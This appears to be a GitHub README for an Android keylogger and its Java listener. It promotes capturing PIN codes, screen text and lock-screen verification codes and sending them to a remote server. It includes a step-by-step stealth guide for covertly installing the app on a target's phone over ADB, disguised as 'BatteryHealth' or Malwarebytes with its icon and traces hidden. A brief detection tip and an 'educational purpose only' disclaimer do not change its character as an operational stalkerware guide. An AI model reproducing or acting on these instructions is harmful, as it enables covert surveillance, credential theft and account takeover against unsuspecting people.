Custom Java listener [ Keylogger for Android ] π±ββ¨οΈ + advanced stealth guide
View Release
Β·
Support Me
Β·
Request Feature
β PASSED GOOGLE VIRUS SCAN
sorry for the low quality, 10mb gif size limit
Update: changed my username and wont guide any more detailed custom stealth options (see recent update bellow in stealth section)
as much as I love working on this project, I need to find the time to do so.
TODO: add tab for reddit, twitter, firefox
β reads hidden notifications in locked state (grabs google code before owner sees it)
β grabs almost all text on the screen the user is looking at.
β works over WAN
β filtered tabs for different apps to reduce logs for easy reading (many revissions and re-compiles with many high filtered precise tweaks to make this work)
β 300+ lines of error free custom code
β gets pin code
β auto scrolling
β works in windows and linux as a .exe, .java, and .jar
β asks user for ip and port with autofill (double check correct ip and port)
β cute cat icon
β logs date and time AND SAVES THEM
jdk19
wget https://download.oracle.com/java/19/latest/jdk-19_linux-x64_bin.deb
sudo apt-get -qqy install ./jdk-19_linux-x64_bin.deb
sudo update-alternatives --install /usr/bin/java java /usr/lib/jvm/jdk-19/bin/java 1919
git clone https://github.com/NullPounce/pounce-keys.git
cd pounce-keys/Listener/java
java -jar MessageListener.jar
sudo ufw allow 4444 "if on linode or on WAN" no need for open ports on android's side
I will make a full video showing how to build apk with any app name and icon then remotely install in place of old app) "if i get any support"
this would allow you to (after adb into device) delete apk thats never used, then replace with your own custom app, you could delete a downloaded files app they dont use and build the keylogger to use the same name and icon, better yet i can show how to copy malwarebytes service name! you can easily just ctrl+F the code in AS and edit the names and see where the icon goes.
TIP! install via ADB to avoid recent apps timestamp, also settings does not show in this list, also to assure hiden icon in some cases UPDATE: if all fails try long pressing the home screen to open launcher settings for a hide apps option.
- have a device with adb setup in a terminal and run adb tcpip 5555 with a phone charger plugged in (also have the stealth apk ready in same dir)
- make a new folder on the adb pc with this structure com.BatteryHealth/files/keys/fix.dat
- in the fix.dat file you made, insert ip:port in line 1 and save (ip and port of remote device with pounce-keys listener, works in linode)
- grab target device , open settings , enable dev options if need be then usb debugging
- connect phone , tap always allow usb debug
- run adb tcpip 5555 again and run adb install Stealth.apk (this hides from recent apps and settings sometimes does not even show as opened)
- turn off usb debug and enable the accessibility service
- copy and paste the com.BatteryHealth folder into android/data after turning on file tranfer
in android 9 and bellow this will install the app with no icon on the launcher or docked apps (wont even be on the screen, perioid) only way you can see this is if you open accessibility settings or scroll all the way down in installed apps as its never a recent one. 10 and up this will add a shortut named ZbatteryHealth with no icon but will be seen in the launcher, move it to a folder or replace app name with \ in manifest file but this will make the app show in the top of installed
due to new security features android API 29 and above (Oreo and up I believe) it will make it hard to near impossible to hide the app without root. The stealth version does not allow the app to be open, just a white icon, and it just opens the app details menu, sits in the app drawer.
In stealth, you must make and place your own fix.dat file in the app directory Android/data/com.BatteryHealth/files/key/fix.dat after making fix.dat inside, add "192.168.0.135:4444" without the quotes and replace IP and port with your own IP:PORT
this option has removed all words "keylogger" and "malware" from UI and code as well as folders and hides the app 100% except settings installed list in android BELLOW Oreo, API 29 and up it will just open app info not showing the IP port field
open the app and just place your IP:PORT and tap send (the ip of the device you will listen on) you may need to open settings/apps/app-name then tap 3 dots top right and allow special permissions make sure where you got the file from via web browser and or file manager has access,ES works if you have problems open accessibility settings and enable keylogger or BatteryHealth no manual fix.dat required
create a file named fix.dat and copy and PASTE it into android/data/com.BatteryHealth/files/key/ insert ip and port of machine with java listener IP:port
Use Pounce_keys in your dev workflow to assure your app is protected by keyloggers, this is a must for banking apps and yes some are vulnerable! Example even CalyxOS lock-sceen is vulnerable, fennec's browser URL tab is protected but not web pages.
make a new android studio project, empty file, open downloaded extracted project in new window right click on each project to open each in file explorer in you're new project open app\src\main and delete copy over the rev, java, main files from the forked project over to this folder
can I protect my passwords from this, even while hacked? Open dev options and under privacy turn off show passwords when typed
how do I look for this
CHECK accessibility settings for any downloaded services or if any are on (name don't matter) hide apps section in launcher for a fix.dat file in android/data/APP-NAME/files/key/fix.dat installed apps section in settings, could show as a blank icon as ZBatteryHealth but this could be put in any apk (so rely on service list)
thank you for the 12th star :)β anysoft keyboard and malwarebytes has no issue with apk adding a clear logs button may be in the future.
I'm very excited to announce this is my first app coded and built in AS and first GitHub project, seeing this here alone was worth it, I seen i got 5 downloads and went to tidy this up a little bit I got so excited. Please leave a star if you like this project, would love to move up in the android-keylogger tag :) java listener is 1 of a kind, original content without forks. Wow 12 stars! thank you guys so much, glad to announce WAN support.
If you've found my work to be valuable, I would greatly appreciate your support, Leave a star. Every little bit helps and allows me to keep creating and improving. Thank you for your consideration and support!
forked from https://github.com/shivamsuyal/Android-Keylogger
icon "https://www.flaticon.com/free-icon/keylogger_8147179?term=keylogger&page=1&position=42&origin=search&related_id=8147179 https://www.flaticon.com/free-icon/hacking_2431702?related_id=2431702&origin=search
https://www.freepik.com/free-vector/cute-cat-computer-with-mouse-cartoon-vector-icon-illustration-animal-technology-icon-concept-isolated-premium-vector-flat-cartoon-style_18537569.htm#query=cat%20keyboard&position=1&from_view=search&track=sph#position=1&query=cat%20keyboard https://www.freepik.com/free-vector/chat-bot-mobile-chatting-isometric-concept_6342161.htm
βοΈ Legal Disclaimer: For Educational Purpose Only
current setup is kali linux in linode with pounce-keys running on an open port using ufw to only allow certain ip's then using realVNC on my phone wiht termux for a ssh connction to run vnc local to remote into kali and view logs on my phone when i want to, then i have no machine to remote into a local pc with scrcpy for remote viewing and mobydroid for files and apks i can later use mobydroid to delete the real malwarebytes apk on a phone and push over the keylogger apk with the same icon and same service name, app will just say not installed when pressed, perfect for people who set and forget apps with a service